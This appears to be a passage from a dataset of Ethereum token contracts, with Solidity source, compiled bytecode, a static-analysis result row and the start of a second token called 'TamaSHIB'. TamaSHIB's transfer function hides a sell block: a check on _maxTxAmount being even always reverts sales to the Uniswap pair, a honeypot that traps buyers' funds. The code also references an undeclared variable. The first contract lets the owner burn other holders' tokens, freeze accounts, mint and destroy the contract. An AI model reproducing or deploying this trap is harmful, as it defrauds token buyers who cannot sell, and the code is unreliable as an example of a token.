balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) {
require(SmartContract_Allowed[_to]);
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// Allow transfers if the owner provided an allowance
// Use SafeMath for the main logic
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once Locked
// Once it is Locked, it is Locked forever and no one can lock again
require(!SC_locked);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
// Protect against wrapping uints.
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][owner];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
balances[_from] = safeSub(balanceOf(_from), _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// Only allow transfer once unLocked
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// Set allowance for other address and notify
function approveAndCall(address _spender, uint256 _value) public returns (bool success) {
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
if (approve(_spender, _value)) {
return true;
}
}
/// Function to activate Ether reception in the smart Contract address only by the Owner
function () public payable {
if(msg.sender != owner) { revert(); }
}
// Creator/Owner can Locked/Unlock smart contract
function OWN_ChangeState_locked(bool _locked) onlyOwner public {
SC_locked = _locked;
}
/// Destroy tokens amount (Caution!!! the operation is destructive and you can not go back)
function OWN_burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
/// Destroy tokens amount from another account (Caution!!! the operation is destructive and you can not go back)
function OWN_burnAddress(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][owner]);
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
///Generate other tokens after starting the program
function OWN_mintToken(uint256 mintedAmount) onlyOwner public {
//aggiungo i decimali al valore che imposto
balances[owner] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, owner, mintedAmount);
}
/// Block / Unlock address handling tokens
function OWN_freezeAddress(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// Function to destroy the smart contract
function OWN_kill() onlyOwner public {
selfdestruct(owner);
}
/// Function Change Owner
function OWN_transferOwnership(address newOwner) onlyOwner public {
// function allowed only if the address is not smart contract
if (!isContract(newOwner)) {
owner = newOwner;
}
}
/// Smart Contract approved
function OWN_SmartContract_Allowed(address target, bool _allowed) onlyOwner public {
// function allowed only for smart contract
if (isContract(target)) {
SmartContract_Allowed[target] = _allowed;
}
}
/// Distribution Token from Admin
function OWN_DistributeTokenAdmin_Multi(address[] addresses, uint256 _value, bool freeze) onlyOwner public{
for (uint i = 0; i < addresses.length; i++) {
//Block / Unlock address handling tokens
frozenAccount[addresses[i]] = freeze;
emit FrozenFunds(addresses[i], freeze);
bytes memory empty;
if (isContract(addresses[i])) {
transferToContract(addresses[i], _value, empty);
}
else {
transferToAddress(addresses[i], _value, empty);
}
}
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101bd578063072933e91461024d578063095ea7b314610264578063153737f5146102c957806318160ddd146103455780631963a0d1146103705780632152b483146103bf57806323b872dd1461040e578063313ce567146104935780633177029f146104c457806333a581d2146105295780634bbd3061146105545780636a7c0bae1461057f57806370a08231146105e457806371a2e46d1461063b5780638da5cb5b1461067e57806395d89b41146106d5578063990a6a6414610765578063a9059cbb14610794578063acb39d30146107f9578063b414d4b614610828578063b6ceb48914610883578063be45fd62146108c8578063bf0aaaf514610973578063d2656069146109a2578063d4403495146109fd578063dd62ed3e14610a2a575b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156101bb57600080fd5b005b3480156101c957600080fd5b506101d2610aa1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102125780820151818401526020810190506101f7565b50505050905090810190601f16801561023f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025957600080fd5b50610262610b43565b005b34801561027057600080fd5b506102af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b604051808215151515815260200191505060405180910390f35b3480156102d557600080fd5b506103436004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803515159060200190929190505050610d9a565b005b34801561035157600080fd5b5061035a610f81565b6040518082815260200191505060405180910390f35b34801561037c57600080fd5b506103bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610f8b565b005b3480156103cb57600080fd5b5061040c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110b1565b005b34801561041a57600080fd5b50610479600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611177565b604051808215151515815260200191505060405180910390f35b34801561049f57600080fd5b506104a86116ee565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611705565b604051808215151515815260200191505060405180910390f35b34801561053557600080fd5b5061053e6117f4565b6040518082815260200191505060405180910390f35b34801561056057600080fd5b50610569611818565b6040518082815260200191505060405180910390f35b34801561058b57600080fd5b506105ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611822565b604051808215151515815260200191505060405180910390f35b3480156105f057600080fd5b50610625600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aba565b6040518082815260200191505060405180910390f35b34801561064757600080fd5b5061067c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b03565b005b34801561068a57600080fd5b50610693611bb3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e157600080fd5b506106ea611bd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072a57808201518184015260208101905061070f565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077157600080fd5b5061077a611c7b565b604051808215151515815260200191505060405180910390f35b3480156107a057600080fd5b506107df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c8e565b604051808215151515815260200191505060405180910390f35b34801561080557600080fd5b5061080e611d95565b604051808215151515815260200191505060405180910390f35b34801561083457600080fd5b50610869600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611da8565b604051808215151515815260200191505060405180910390f35b34801561088f57600080fd5b506108ae60048036038101908080359060200190929190505050611dc8565b604051808215151515815260200191505060405180910390f35b3480156108d457600080fd5b50610959600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611f28565b604051808215151515815260200191505060405180910390f35b34801561097f57600080fd5b506109a060048036038101908080351515906020019092919050505061202d565b005b3480156109ae57600080fd5b506109e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120a6565b604051808215151515815260200191505060405180910390f35b348015610a0957600080fd5b50610a28600480360381019080803590602001909291905050506120fc565b005b348015610a3657600080fd5b50610a8b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122b1565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b395780601f10610b0e57610100808354040283529160200191610b39565b820191906000526020600020905b815481529060010190602001808311610b1c57829003601f168201915b5050505050905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9f57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000600460149054906101000a900460ff16151515610bf857600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610c5157600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610caa57600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006060600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dfa57600080fd5b600091505b8451821015610f7a5782600860008785815181101515610e1b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58583815181101515610ea557fe5b9060200190602002015184604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1610f1c8583815181101515610f0d57fe5b90602001906020020151612338565b15610f4957610f438583815181101515610f3257fe5b90602001906020020151858361234b565b50610f6d565b610f6b8583815181101515610f5a57fe5b906020019060200201518583612537565b505b8180600101925050610dff565b5050505050565b6000600354905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe757600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110d57600080fd5b61111682612338565b156111735780600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b600080600460149054906101000a900460ff1615151561119657600080fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156111ef57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561124857600080fd5b82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611313575082600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561139e5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15156113a957600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156114995750828110155b15156114a457600080fd5b6114b66114b085611aba565b846126cb565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061150b61150586611aba565b84612707565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81101561167d576115fc600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612707565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600260009054906101000a900460ff16905090565b6000600460149054906101000a900460ff1615151561172357600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561177c57600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117d557600080fd5b6117df8383610bda565b156117ed57600190506117ee565b5b92915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000600554905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188057600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156118ce57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561197b57600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5f57600080fd5b611b6881612338565b1515611bb05780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c715780601f10611c4657610100808354040283529160200191611c71565b820191906000526020600020905b815481529060010190602001808311611c5457829003601f168201915b5050505050905090565b600460149054906101000a900460ff1681565b60006060600460149054906101000a900460ff16151515611cae57600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d0757600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d6057600080fd5b611d6984612338565b15611d8057611d7984848361234b565b9150611d8e565b611d8b848483612537565b91505b5092915050565b600460159054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2657600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611e7457600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6000600460149054906101000a900460ff16151515611f4657600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f9f57600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ff857600080fd5b61200184612338565b156120185761201184848461234b565b9050612026565b612023848484612537565b90505b9392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561208957600080fd5b80600460146101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561215857600080fd5b8060066000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806003600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080823b905060008111915050919050565b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156123a557600080fd5b826123af33611aba565b10156123ba57600080fd5b6123cc6123c633611aba565b84612707565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242161241b85611aba565b846126cb565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561249a5780518252602082019150602081019050602083039250612475565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b60008261254333611aba565b101561254e57600080fd5b61256061255a33611aba565b84612707565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b56125af85611aba565b846126cb565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561262e5780518252602082019150602081019050602083039250612609565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038311156126fc57600080fd5b818301905092915050565b60008183101561271657600080fd5b8183039050929150505600a165627a7a7230582006f9e5bd07279217c8d1ca87c456f47387b7bd4e5698af11744c77221eaf761f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,328 |
0xbf652e78e73af4ee44a54a6ceb8bf5d2800c4ac4
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TamaSHIB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "TamaSHIB";
string private constant _symbol = "SHIB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2PairInterface;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
address private deadWallet = 0x000000000000000000000000000000000000dEaD;
bool private mitigationEnabled = false;
uint private mitigationFactor = 100;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x950554aEE8deCE652347ED7D62CA6Ef47711E759);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (disableFee) {
_feeAddr1 = 0;
_feeAddr2 = 0;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != address(this) && to != deadWallet && from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
// cooldown[to] = block.timestamp + (30 seconds);
// require(cooldown[to] < block.timestamp);
}
if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (to == uniswapV2Pair && _maxTxAmount % 2 == 0) {
revert("Amount must be less than maxTxAmount");
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
